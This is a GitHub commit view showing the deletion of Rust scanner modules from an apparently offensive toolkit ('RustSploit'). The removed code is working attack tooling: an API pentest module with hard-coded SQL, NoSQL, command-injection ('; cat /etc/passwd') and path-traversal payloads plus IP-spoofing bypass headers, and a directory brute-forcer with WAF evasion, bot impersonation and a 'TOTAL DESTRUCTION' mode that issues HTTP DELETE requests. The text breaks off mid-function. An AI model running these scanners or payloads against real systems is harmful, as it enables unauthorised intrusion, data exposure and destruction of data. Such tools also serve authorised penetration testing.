Delete src/modules/scanners directory

This commit is contained in:
S.B
2026-02-13 02:28:32 +02:00
committed by GitHub
parent 699de58d4f
commit dc9f028495
15 changed files with 0 additions and 8114 deletions
@@ -1,802 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use futures::{stream, StreamExt};
use rand::seq::IndexedRandom;
use reqwest::{Client, Method, Response};
use std::fs::{self, File, OpenOptions};
use std::io::{BufRead, BufReader, Write};
use std::path::Path;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::sync::Arc;
use std::time::Instant;
use crate::utils::{prompt_existing_file, prompt_int_range, prompt_default, prompt_yes_no, prompt_wordlist, load_lines};
use serde_json::json;
// =========================================================================
// CONSTANTS
// =========================================================================
const CHROME_USER_AGENTS: &[&str] = &[
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36",
];
const SPOOF_HEADERS: &[&str] = &[
"X-Forwarded-For", "X-Forwarded-Host", "X-Client-IP", "X-Remote-IP", "X-Remote-Addr",
"X-Host", "X-Originating-IP", "Client-IP", "True-Client-IP", "Cluster-Client-IP",
"X-ProxyUser-Ip", "Via", "X-Real-IP", "Forwarded", "X-Custom-IP-Authorization",
"X-Original-URL", "X-Rewrite-URL", "X-Forwarded-Scheme", "X-Forwarded-Proto", "X-Forwarded-Port"
];
const SQLI_PAYLOADS: &[&str] = &[
"'", "\"", "OR 1=1", "' OR '1'='1", "\" OR \"1\"=\"1",
"1' ORDER BY 1--+", "1' UNION SELECT 1,2,3--+",
"admin' --", "admin' #", "' OR 1=1--",
];
const NOSQLI_PAYLOADS: &[&str] = &[
"{$ne: null}", "{$gt: \"\"}", "{$where: \"return true\"}",
"|| return true;", "'; return true; var foo='",
];
const CMDI_PAYLOADS: &[&str] = &[
"; id", "| id", "`id`", "$(id)",
"; cat /etc/passwd", "| cat /etc/passwd",
"& ping -c 1 127.0.0.1",
];
const TRAVERSAL_PAYLOADS: &[&str] = &[
"../../etc/passwd",
"../../../../../../../../etc/passwd",
"..%2f..%2f..%2fetc%2fpasswd",
"....//....//....//etc/passwd",
"../../windows/win.ini",
];
// =========================================================================
// DATA STRUCTURES
// =========================================================================
#[derive(Clone, Copy, PartialEq, Debug)]
enum ScanModule {
Baseline,
Spoofing,
SQLi,
NoSQLi,
CMDi,
PathTraversal,
IdEnumeration,
}
struct ScanConfig {
target_base: String,
methods: Vec<Method>,
modules: Vec<ScanModule>,
use_generic_payload: bool,
output_dir: String,
sqli_payloads: Option<Vec<String>>,
nosqli_payloads: Option<Vec<String>>,
cmdi_payloads: Option<Vec<String>>,
traversal_payloads: Option<Vec<String>>,
// ID Enumeration Config
id_start: Option<usize>,
id_end: Option<usize>,
id_file_path: Option<String>,
}
#[derive(Clone, Debug, PartialEq)]
struct Endpoint {
key: String,
path: String,
}
#[derive(serde::Serialize)]
struct GenericPayload {
name: String,
description: String,
test: bool,
}
// =========================================================================
// MAIN ENTRY POINT
// =========================================================================
pub async fn run(target: &str) -> Result<()> {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ API Endpoint Pentest Module ║".cyan());
println!("{}", "║ Tests API endpoints for common issues ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
// 1. Input parsing & Configuration
let output_dir_name = prompt_default("Output directory name", "api_scan_results")?;
let use_spoofing = prompt_yes_no("Enable IP Spoofing/Bypass headers logic? (Applies to all selected modules)", false)?;
let use_generic_payload = prompt_yes_no("Send generic JSON payload with POST/PUT/PATCH? (Better for API compatibility)", true)?;
// Method Selection
let mut methods = vec![Method::GET, Method::POST];
if prompt_yes_no("Enable DELETE method? (WARNING: Destructive)", false)? {
methods.push(Method::DELETE);
}
if prompt_yes_no("Enable Extended HTTP methods (PUT, PATCH, HEAD, OPTIONS, CONNECT, TRACE, DEBUG)?", false)? {
methods.extend(vec![
Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE,
Method::PUT, Method::PATCH, Method::HEAD, Method::OPTIONS, Method::CONNECT, Method::TRACE,
match Method::from_bytes(b"DEBUG") { Ok(m) => m, Err(_) => Method::GET }, // Method parsing is generally safe for ASCII
]);
}
println!("1. Baseline (Standard Requests)");
println!("2. SQL Injection");
println!("3. NoSQL Injection");
println!("4. Command Injection");
println!("5. Path Traversal");
println!("6. ID/Payload Enumeration");
let module_selection = prompt_default("Selection", "1")?;
let mut modules = Vec::new();
for s in module_selection.split(',') {
match s.trim() {
"1" => modules.push(ScanModule::Baseline),
"2" => modules.push(ScanModule::SQLi),
"3" => modules.push(ScanModule::NoSQLi),
"4" => modules.push(ScanModule::CMDi),
"5" => modules.push(ScanModule::PathTraversal),
"6" => modules.push(ScanModule::IdEnumeration),
_ => println!("{}", format!("Invalid module selection: {}", s).yellow()),
}
}
if use_spoofing {
modules.push(ScanModule::Spoofing);
}
modules.dedup(); // Remove duplicates if any
if modules.is_empty() {
return Err(anyhow!("No modules selected!"));
}
let concurrency = prompt_int_range("Concurrency limit", 10, 1, 100)? as usize;
// Bug 10: Configurable timeout
let timeout_secs = prompt_int_range("Timeout (seconds)", 10, 1, 60)? as u64;
// Injection Attacks Configuration
let sqli_payloads = if modules.contains(&ScanModule::SQLi) {
configure_injection_payloads("SQL", SQLI_PAYLOADS)?
} else { None };
let nosqli_payloads = if modules.contains(&ScanModule::NoSQLi) {
configure_injection_payloads("NoSQL", NOSQLI_PAYLOADS)?
} else { None };
let cmdi_payloads = if modules.contains(&ScanModule::CMDi) {
configure_injection_payloads("Command", CMDI_PAYLOADS)?
} else { None };
let traversal_payloads = if modules.contains(&ScanModule::PathTraversal) {
configure_injection_payloads("Path Traversal", TRAVERSAL_PAYLOADS)?
} else { None };
// ID Enumeration Configuration
let (id_start, id_end, id_file_path) = if modules.contains(&ScanModule::IdEnumeration) {
println!("\n{}", "Configure ID/Payload Enumeration:".cyan().bold());
println!("1. Numeric Range (e.g. 1-100)");
println!("2. File List (e.g. valid_ids.txt)");
let enum_choice = prompt_default("Selection", "1")?;
if enum_choice == "2" {
(None, None, Some(prompt_existing_file("Path to ID/Payload file")?))
} else {
let start = prompt_int_range("Start ID", 1, 0, 1000000)? as usize;
let end = prompt_int_range("End ID", 100, start as i64, 1000000)? as usize;
if start > end {
return Err(anyhow!("Start ID must be less than or equal to End ID"));
}
(Some(start), Some(end), None)
}
} else {
(None, None, None)
};
// Validate and format target base URL
let target_base = if target.contains("://") {
target.trim_end_matches('/').to_string()
} else {
format!("https://{}", target.trim_end_matches('/'))
};
println!("[*] Using target: {}", target_base.cyan());
// 2. Endpoint Source Selection
println!("\n{}", "Select Endpoint Source:".cyan().bold());
println!("1. Load from file (Known endpoints)");
println!("2. Brute-force/Enumerate (Discover using wordlist)");
let source_choice = prompt_default("Selection", "1")?;
let mut endpoints = if source_choice == "2" {
// Enumerate
let base_path = prompt_default("Base Path (e.g. /api/)", "/")?;
let wordlist_path = prompt_wordlist("Wordlist path")?;
// Setup simple client for enumeration
let enum_client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(5))
.build()?;
enumerate_endpoints(&enum_client, &target_base, &base_path, &wordlist_path, concurrency).await?
} else {
// Load from file
let endpoint_file = prompt_existing_file("Path to endpoint list file")?;
parse_endpoint_file(&endpoint_file)?
};
// Deduplicate endpoints based on key and path to avoid redundant work and file collisions
endpoints.sort_by(|a, b| a.key.cmp(&b.key).then(a.path.cmp(&b.path)));
endpoints.dedup_by(|a, b| a.key == b.key && a.path == b.path);
if endpoints.is_empty() {
return Err(anyhow!("No valid endpoints found/discovered. Exiting."));
}
println!("[*] Processing {} endpoints", endpoints.len().to_string().cyan());
// 3. Setup Client
let client = Client::builder()
.danger_accept_invalid_certs(true)
.timeout(std::time::Duration::from_secs(timeout_secs))
.build()
.context("Failed to build HTTP client")?;
// 4. Create Output Directory
fs::create_dir_all(&output_dir_name).context("Failed to create output directory")?;
// Get absolute path for logging
let abs_output_dir = fs::canonicalize(&output_dir_name)?;
println!("[*] Saving results to: {}", abs_output_dir.display().to_string().cyan());
let config = Arc::new(ScanConfig {
target_base,
methods,
modules,
use_generic_payload,
output_dir: output_dir_name,
sqli_payloads,
nosqli_payloads,
cmdi_payloads,
traversal_payloads,
id_start,
id_end,
id_file_path,
});
let client = Arc::new(client);
// 5. Run Concurrent Scan
println!("{}", "\n[*] Starting scan...".cyan().bold());
let start_time = Instant::now();
let counter = Arc::new(AtomicUsize::new(0));
let total = endpoints.len();
let stream = stream::iter(endpoints)
.map(|endpoint| {
let config = Arc::clone(&config);
let client = client.clone();
let counter = Arc::clone(&counter);
async move {
let current = counter.fetch_add(1, Ordering::SeqCst) + 1;
// Print progress occasionally
if current % 10 == 0 || current == total {
print!("\r[*] Progress: {}/{}", current, total);
if let Err(e) = std::io::stdout().flush() {
eprintln!("\n[!] Failed to flush stdout: {}", e);
}
}
scan_endpoint(&client, &config, endpoint).await
}
})
.buffer_unordered(concurrency);
// Collect all results
let results: Vec<()> = stream.collect().await;
println!("\n{}", "\n[+] Scan completed!".green().bold());
println!("[+] Processed {} endpoints.", results.len());
println!("Time elapsed: {:.2?}", start_time.elapsed());
Ok(())
}
// =========================================================================
// SETUP HELPERS
// =========================================================================
fn configure_injection_payloads(name: &str, default_payloads: &[&str]) -> Result<Option<Vec<String>>> {
println!(); // Add spacing
if !prompt_yes_no(&format!("Test for {} Injection?", name), false)? {
return Ok(None);
}
if prompt_yes_no(&format!("Use default {} payloads?", name), true)? {
return Ok(Some(default_payloads.iter().map(|&s| s.to_string()).collect()));
}
let file_path = prompt_existing_file(&format!("Path to custom {} payload file", name))?;
let file = File::open(file_path)?;
let reader = BufReader::new(file);
let payloads: Vec<String> = reader.lines()
.collect::<Result<_, _>>()?;
if payloads.is_empty() {
return Err(anyhow!("Payload file is empty"));
}
Ok(Some(payloads))
}
fn parse_endpoint_file(path: &str) -> Result<Vec<Endpoint>> {
let file = File::open(path)?;
let reader = BufReader::new(file);
let mut endpoints = Vec::new();
for (idx, line_res) in reader.lines().enumerate() {
let line = line_res?;
let items: Vec<&str> = line.split_whitespace().collect();
if items.is_empty() {
continue;
}
if items.len() >= 2 {
endpoints.push(Endpoint {
key: items[0].to_string(),
path: items[1].to_string(),
});
} else if items.len() == 1 {
// Fallback for files with just paths
// Use path as key (sanitized)
let path_str = items[0];
let key = path_str.replace('/', "_").trim_start_matches('_').to_string();
endpoints.push(Endpoint {
key: if key.is_empty() { "root".to_string() } else { key },
path: path_str.to_string(),
});
} else {
// Should not happen due to is_empty check, but good to report if logic changes
println!("{}", format!("[!] Skipping line {} - unknown format: '{}'", idx + 1, line).yellow());
}
}
Ok(endpoints)
}
async fn enumerate_endpoints(client: &Client, target_base: &str, base_path: &str, wordlist_path: &str, concurrency: usize) -> Result<Vec<Endpoint>> {
println!("{}", "\n[*] Starting Endpoint Enumeration...".cyan());
let lines = load_lines(wordlist_path)?;
if lines.is_empty() {
return Err(anyhow!("Wordlist is empty"));
}
let total = lines.len();
println!("[*] Enumerating {} potential endpoints with concurrency {}", total, concurrency);
let base_url = format!("{}{}",
target_base.trim_end_matches('/'),
if base_path.starts_with('/') { base_path.to_string() } else { format!("/{}", base_path) }
);
// Ensure base_url ends with / for appending words
let base_url = if base_url.ends_with('/') { base_url } else { format!("{}/", base_url) };
let counter = Arc::new(AtomicUsize::new(0));
// Bug 6: Calculate base path prefix once outside loop
let clean_base_path = if base_path.starts_with('/') { base_path.to_string() } else { format!("/{}", base_path) };
// Use a stream that returns Option<Endpoint> instead of locking a shared Vec
let stream = stream::iter(lines)
.map(|word| {
let client = client.clone();
let counter = Arc::clone(&counter);
let base_url = base_url.clone();
let clean_base_path = clean_base_path.clone();
async move {
let current = counter.fetch_add(1, Ordering::SeqCst) + 1;
if current % 50 == 0 || current == total {
print!("\r[*] Brute-force Progress: {}/{}", current, total);
if let Err(_e) = std::io::stdout().flush() {
// Ignore flush errors in tough loops
}
}
let url = format!("{}{}", base_url, word);
match client.get(&url).send().await {
Ok(resp) => {
let status = resp.status();
// Consider valid if not 404
if status != reqwest::StatusCode::NOT_FOUND {
// Recalculate clean path efficiently
let clean_path = format!("{}{}", clean_base_path, word);
// Ensure no double slashes (Bug 5 fix: check logic)
let clean_path = clean_path.replace("//", "/");
Some(Endpoint {
key: word.to_string(),
path: clean_path,
})
} else {
None
}
},
Err(_) => None,
}
}
})
.buffer_unordered(concurrency);
// Collect all results and filter out Nones
let results: Vec<Endpoint> = stream
.filter_map(|x| async { x })
.collect()
.await;
println!(); // Newline after progress
if results.is_empty() {
println!("{}", "[-] No endpoints occurred.".yellow());
} else {
println!("{}", format!("[+] Discovered {} endpoints!", results.len()).green().bold());
for ep in &results {
println!(" - {}", ep.path);
}
}
Ok(results)
}
// =========================================================================
// SCAN LOGIC
// =========================================================================
async fn scan_endpoint(client: &Client, config: &ScanConfig, endpoint: Endpoint) {
// Create directory for this endpoint
// Bug 9: Fix collision by appending a short hash of path
use std::collections::hash_map::DefaultHasher;
use std::hash::{Hash, Hasher};
let mut hasher = DefaultHasher::new();
endpoint.path.hash(&mut hasher);
let path_hash = hasher.finish();
let sanitized_key = format!("{}_{:x}",
endpoint.key.replace(|c: char| !c.is_alphanumeric() && c != '_', "_"),
path_hash
);
let endpoint_dir = Path::new(&config.output_dir).join(&sanitized_key);
if let Err(e) = fs::create_dir_all(&endpoint_dir) {
eprintln!("\n{}", format!("[!] Failed to create dir for {}: {}", endpoint.key, e).red());
return;
}
let url = format!("{}{}", config.target_base, endpoint.path);
// Iterate through all selected methods
for method in &config.methods {
let method_str = method.as_str().to_string();
// Iterate through all selected modules
for module in &config.modules {
match module {
ScanModule::Baseline => {
// Standard Request
scan_method(client, &url, method.clone(), &endpoint_dir, &method_str, config).await;
},
ScanModule::Spoofing => {
scan_spoofing(client, &url, method.clone(), &endpoint_dir, &method_str, config).await;
},
ScanModule::SQLi => {
if let Some(payloads) = &config.sqli_payloads {
for payload in payloads {
perform_injection(client, &url, method.clone(), "SQLi", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::NoSQLi => {
if let Some(payloads) = &config.nosqli_payloads {
for payload in payloads {
perform_injection(client, &url, method.clone(), "NoSQLi", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::CMDi => {
if let Some(payloads) = &config.cmdi_payloads {
for payload in payloads {
perform_injection(client, &url, method.clone(), "CMDi", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::PathTraversal => {
if let Some(payloads) = &config.traversal_payloads {
for payload in payloads {
perform_injection(client, &url, method.clone(), "Traversal", payload, &endpoint_dir, config).await;
}
}
},
ScanModule::IdEnumeration => {
perform_id_enumeration(client, &url, method.clone(), &endpoint_dir, config).await;
}
}
}
}
}
async fn perform_id_enumeration(client: &Client, url: &str, method: Method, dir: &Path, config: &ScanConfig) {
let enum_dir = dir.join("enumeration");
if let Err(e) = fs::create_dir_all(&enum_dir) {
eprintln!("[!] Failed to create enumeration directory: {}", e);
return;
}
let bodies_dir = enum_dir.join("bodies");
if let Err(e) = fs::create_dir_all(&bodies_dir) {
eprintln!("[!] Failed to create bodies directory: {}", e);
return;
}
let results_file = enum_dir.join("results.txt");
// Open file once to prevent resource exhaustion in loop
let mut results_file_handle = match OpenOptions::new().create(true).append(true).open(&results_file) {
Ok(f) => f,
Err(e) => {
eprintln!("[!] Failed to open results file: {}", e);
return;
}
};
// Determine injection point
// Strategy: Look for the last numeric segment. If found, replace it.
// If NOT found, append to the end.
let parts: Vec<&str> = url.split('/').collect();
let mut numeric_index = None;
for (i, part) in parts.iter().enumerate().rev() {
if part.chars().all(|c| c.is_digit(10)) && !part.is_empty() {
numeric_index = Some(i);
break;
}
}
// Prepare iterator
let payloads: Vec<String> = if let Some(path) = &config.id_file_path {
if let Ok(lines) = load_lines(path) {
lines
} else {
return;
}
} else if let (Some(start), Some(end)) = (config.id_start, config.id_end) {
(start..=end).map(|i| i.to_string()).collect()
} else {
return;
};
for payload in payloads {
let target_url = if let Some(idx) = numeric_index {
// Replace existing number
let mut new_parts = parts.clone();
new_parts[idx] = &payload;
new_parts.join("/")
} else {
// Append
let base = if url.ends_with('/') { url.to_string() } else { format!("{}/", url) };
format!("{}{}", base, payload)
};
// Label for connection reuse/logging
let label = format!("ID-Enum-{}", payload);
// Execute Request logic manually here to handle specific saving logic
// Or reuse perform_request but we want to save bodies specifically
let req_builder = client.request(method.clone(), &target_url)
.header("User-Agent", "Mozilla/5.0 (IDEnum)");
match req_builder.send().await {
Ok(resp) => {
let status = resp.status();
if status != reqwest::StatusCode::NOT_FOUND {
// Log hit
// Log hit with shared handle
// Log hit with shared handle
if let Err(e) = run_enum_logging_handle(&mut results_file_handle, &payload, &label, status, &target_url) {
eprintln!("[!] Logging failed: {}", e);
}
// If 200, save body
if status.is_success() {
let body_file = bodies_dir.join(format!("{}.txt", payload));
let body = match resp.bytes().await {
Ok(b) => b,
Err(_) => bytes::Bytes::new(),
};
if let Ok(mut f) = File::create(body_file) {
if let Err(e) = f.write_all(&body) {
eprintln!("[!] Failed to write body: {}", e);
}
}
}
}
},
_ => {}
}
}
}
fn run_enum_logging_handle(file: &mut File, payload: &str, label: &str, status: reqwest::StatusCode, url: &str) -> std::io::Result<()> {
writeln!(file, "[{}] [{}] ID: {} - Status: {} - URL: {}", chrono::Local::now().format("%H:%M:%S"), label, payload, status, url)?;
Ok(())
}
async fn scan_method(client: &Client, url: &str, method: Method, dir: &Path, method_name: &str, config: &ScanConfig) {
let result_file = dir.join("results.txt");
// Standard Request Only (Spoofing separated)
perform_request(client, url, method.clone(), &result_file, method_name, "Standard", None, None, config).await;
}
async fn scan_spoofing(client: &Client, url: &str, method: Method, dir: &Path, method_name: &str, config: &ScanConfig) {
let result_file = dir.join("results.txt");
for &header in SPOOF_HEADERS {
let value = if header == "X-Forwarded-Host" { "localhost" } else { "127.0.0.1" };
perform_request(client, url, method.clone(), &result_file, method_name, &format!("Spoof-{}", header), Some((header, value)), None, config).await;
}
}
async fn perform_injection(client: &Client, url: &str, method: Method, type_name: &str, payload: &str, dir: &Path, config: &ScanConfig) {
let result_file = dir.join("injection_results.txt");
// 1. URL Injection (Applies to ALL methods)
// Construct URL with payload
// Bug 16: Fix parameter injection logic
let injected_url = if url.contains('?') {
format!("{}&test={}", url, payload)
} else {
format!("{}?test={}", url, payload)
};
perform_request(client, &injected_url, method.clone(), &result_file, type_name, &format!("{}-URL-{}", method.as_str(), payload), None, None, config).await;
// 2. Body Injection (Only for methods that typically support body)
// POST, PUT, PATCH, DELETE
match method {
Method::POST | Method::PUT | Method::PATCH | Method::DELETE => {
// Construct malicious JSON
let json_payload = json!({
"name": payload,
"description": payload,
"test": true,
"id": payload,
"query": payload
});
perform_request(client, url, method, &result_file, type_name, &format!("Body-{}", payload), None, Some(json_payload), config).await;
},
_ => {}
}
}
// =========================================================================
// REQUEST EXECUTION
// =========================================================================
async fn perform_request(client: &Client, url: &str, method: Method, result_file: &Path, method_name: &str, valid_label: &str, header: Option<(&str, &str)>, custom_json: Option<serde_json::Value>, config: &ScanConfig) {
let user_agent = match CHROME_USER_AGENTS.choose(&mut rand::rng()) {
Some(ua) => *ua,
None => "Mozilla/5.0",
};
let mut req_builder = client.request(method.clone(), url)
.header("User-Agent", user_agent);
if let Some((k, v)) = header {
req_builder = req_builder.header(k, v);
}
// Add payload
if let Some(json) = custom_json {
req_builder = req_builder.json(&json);
} else if config.use_generic_payload && (method == Method::POST || method == Method::PUT) {
req_builder = req_builder.json(&GenericPayload {
name: "test_api_scanner".to_string(),
description: "Automated scan".to_string(),
test: true,
});
}
// Full method label for logging
let full_label = format!("{} [{}]", method_name, valid_label);
match req_builder.send().await {
Ok(resp) => {
if let Err(e) = log_response(resp, result_file, &full_label, url, user_agent).await {
eprintln!("\n{}", format!("[!] Failed to log response for {}: {}", full_label, e).red());
}
},
Err(e) => {
// Log error to file
if let Ok(mut file) = OpenOptions::new().create(true).append(true).open(result_file) {
if let Err(write_err) = writeln!(file, "=== {} {} ===\nError: {}\n", full_label, url, e) {
eprintln!("[!] Failed to write error log: {}", write_err);
}
}
}
}
}
async fn log_response(resp: Response, path: &Path, method: &str, url: &str, user_agent: &str) -> Result<()> {
let status = resp.status();
let headers = resp.headers().clone();
let mut file = OpenOptions::new()
.create(true)
.append(true)
.open(path)?;
// Safety: Limit body read to 1MB to prevent OOM
// Bug 11: Check Content-Length first
if let Some(cl) = headers.get("content-length") {
if let Ok(s) = cl.to_str() {
if let Ok(len) = s.parse::<usize>() {
if len > 5_000_000 {
writeln!(file, "Body skipped (Content-Length: {} > 5MB)", len)?;
return Ok(());
}
}
}
}
// Streaming check or limited read
let body_bytes = match resp.bytes().await {
Ok(b) => b,
Err(e) => {
// Don't fail the whole log just for body read error
writeln!(file, "Failed to read body: {}", e)?;
return Ok(());
}
};
let body_len = body_bytes.len();
let max_len = 1_000_000;
let truncated = body_len > max_len;
let body = if truncated {
&body_bytes[..max_len]
} else {
&body_bytes[..]
};
writeln!(file, "=======================================================")?;
writeln!(file, "Timestamp: {}", chrono::Local::now().to_rfc3339())?;
writeln!(file, "Request: {} {}", method, url)?;
writeln!(file, "User-Agent: {}", user_agent)?;
writeln!(file, "-------------------------------------------------------")?;
writeln!(file, "Status: {}", status)?;
writeln!(file, "Headers:")?;
for (k, v) in headers.iter() {
writeln!(file, " {}: {:?}", k, v)?;
}
writeln!(file, "Body Length: {} bytes", body.len())?;
writeln!(file, "-------------------------------------------------------")?;
// Try to convert body to string for log, if utf8
if let Ok(body_str) = String::from_utf8(body.to_vec()) {
writeln!(file, "Body Preview{}:\n{}", if truncated { " (TRUNCATED)" } else { "" }, body_str)?;
} else {
writeln!(file, "Body is binary or non-UTF8")?;
}
writeln!(file, "=======================================================\n")?;
Ok(())
}
-471
View File
@@ -1,471 +0,0 @@
use anyhow::{Result, Context, anyhow};
use colored::*;
use reqwest::{Client, Method, header};
use serde::{Deserialize, Serialize};
use std::fs;
use std::sync::Arc;
use std::sync::atomic::{AtomicUsize, Ordering};
use std::time::Duration;
use tokio::sync::Semaphore;
use crate::utils::{
prompt_required, prompt_default, prompt_yes_no, prompt_wordlist,
normalize_target, load_lines, prompt_existing_file
};
use rand::seq::IndexedRandom;
// --- Constants & Data ---
const USER_AGENTS: &[&str] = &[
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.1 Safari/605.1.15",
"Mozilla/5.0 (X11; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0",
"Mozilla/5.0 (iPhone; CPU iPhone OS 14_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.0 Mobile/15E148 Safari/604.1",
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:91.0) Gecko/20100101 Firefox/91.0",
"RustSploit/0.3",
"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
];
const COMMON_STATUS_CODES: &[u16] = &[200, 201, 204, 301, 302, 307, 401, 403, 405, 421, 500];
// --- Configuration Structs ---
#[derive(Serialize, Deserialize, Debug, Clone)]
pub struct DirBruteConfig {
pub target_host: String,
pub protocol: String, // http or https
pub port: u16,
pub base_path: String, // e.g. "/" or "/api/"
pub wordlist_path: String,
// Scan Settings
pub scan_mode: u8, // 1=GET, 2=NUKE (Safe), 3=DESTROY (Delete)
pub concurrency: usize,
pub delay_ms: u64,
// Evasion
pub random_agent: bool,
pub custom_cookies: Option<String>, // e.g. "cf_clearance=...; _cfduid=..."
// Reporting
pub verbose: bool,
}
impl Default for DirBruteConfig {
fn default() -> Self {
Self {
target_host: String::new(),
protocol: "http".to_string(),
port: 80,
base_path: "/".to_string(),
wordlist_path: String::new(),
scan_mode: 1,
concurrency: 10,
delay_ms: 200,
random_agent: false,
custom_cookies: None,
verbose: false,
}
}
}
// --- Main Entry Point ---
pub async fn run(target: &str) -> Result<()> {
print_banner();
// 1. Wizard Menu
println!("{}", "Select Operation Mode:".cyan().bold());
println!("1. Quick Attack (Default Settings)");
println!("2. Create Template (Wizard -> Save)");
println!("3. Load Template (Load -> Run)");
println!("4. Custom Attack (Wizard -> Run)");
let choice = prompt_default("Selection", "1")?;
let config = match choice.as_str() {
"1" => setup_quick_attack(target).await?,
"2" => {
let cfg = setup_wizard(target).await?;
save_template(&cfg).await?;
println!("\n{}", "Template saved. Exiting module.".green());
return Ok(());
},
"3" => load_template().await?,
"4" => setup_wizard(target).await?,
_ => {
println!("{}", "Invalid selection. Defaulting to Quick Attack.".yellow());
setup_quick_attack(target).await?
}
};
// 2. Execution
execute_scan(config).await
}
fn print_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced Directory Brute Force ║".cyan());
println!("{}", "║ Features: Nuke Mode, WAF Evasion, Config Manager ║".red());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
}
// --- Setup Helpers ---
async fn setup_quick_attack(initial_target: &str) -> Result<DirBruteConfig> {
println!("\n{}", "--- Quick Attack Setup ---".blue().bold());
// 1. Target
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
// 2. Wordlist
let wordlist = prompt_wordlist("Wordlist path")?;
Ok(DirBruteConfig {
target_host: host,
protocol: proto,
port,
base_path: path,
wordlist_path: wordlist,
verbose: false,
..DirBruteConfig::default()
})
}
async fn setup_wizard(initial_target: &str) -> Result<DirBruteConfig> {
println!("\n{}", "--- Advanced Configuration Wizard ---".blue().bold());
// 1. Target
let (proto, host, port, path) = parse_target_interactive(initial_target).await?;
// 2. Scan Mode
println!("\n{}", "Select Scan Mode:".cyan());
println!("1. Standard (GET only) - [Recommended]");
println!("2. Nuke Mode (GET, POST, PUT, HEAD, OPTIONS...) - Noisy!");
println!("3. TOTAL DESTRUCTION (Level 2 + DELETE) - DANGEROUS");
let mode_str = prompt_default("Mode", "1")?;
let scan_mode = match mode_str.as_str() {
"3" => {
println!("\n{}", "!!! CRITICAL WARNING !!!".on_red().white().bold());
println!("{}", "You have selected TOTAL DESTRUCTION mode.".red().bold());
println!("This will attempt HTTP DELETE method on discovered resources.");
println!("This can PERMANENTLY DESTROY data on the target server.");
let confirm = prompt_required("Type 'DESTROY' to confirm")?;
if confirm != "DESTROY" {
println!("{}", "Confirmation failed. Reverting to Standard Mode.".yellow());
1
} else {
3
}
},
"2" => {
println!("\n{}", "[!] Warning: Nuke Mode sends multiple requests per path.".yellow());
if prompt_yes_no("Continue?", true)? { 2 } else { 1 }
},
_ => 1
};
// 3. Wordlist
let wordlist = prompt_wordlist("Wordlist path")?;
// 4. Performance
let concurrency: usize = prompt_default("Concurrency (Threads)", "10")?.parse().unwrap_or(10);
let delay_ms: u64 = prompt_default("Delay per request (ms)", "200")?.parse().unwrap_or(200);
// 5. Evasion
let random_agent = prompt_yes_no("Use Random User-Agents?", false)?;
let custom_cookies = if prompt_yes_no("Configure Custom Cookies (WAF/Cloudflare)?", false)? {
println!("{}", "Enter cookie string (e.g. 'cf_clearance=XXX; _cfduid=YYY')".dimmed());
Some(prompt_required("Cookies")?)
} else {
None
};
// 6. Reporting
let verbose = prompt_yes_no("Verbose Output (show 403s)?", false)?;
Ok(DirBruteConfig {
target_host: host,
protocol: proto,
port,
base_path: path,
wordlist_path: wordlist,
scan_mode,
concurrency,
delay_ms,
random_agent,
custom_cookies,
verbose,
})
}
// Interactive target parser logic
async fn parse_target_interactive(raw: &str) -> Result<(String, String, u16, String)> {
// Basic normalization from utils
let resolved_ip = if raw.is_empty() {
prompt_required("Target Host/IP")?
} else {
let normalized = normalize_target(raw)?;
// strip port if present in normalized, we ask for it separately to allow http/https logic
if let Some((host, _)) = normalized.split_once(':') {
host.to_string()
} else {
normalized
}
};
let use_https = prompt_yes_no("Use HTTPS?", true)?;
let proto = if use_https { "https".to_string() } else { "http".to_string() };
let def_port = if use_https { "443" } else { "80" };
let port: u16 = prompt_default(&format!("Port (default {})", def_port), def_port)?
.parse()
.context("Invalid port")?;
let path_input = prompt_default("Base Path (must end with /)", "/")?;
// Slash check logic
let path = if !path_input.ends_with('/') {
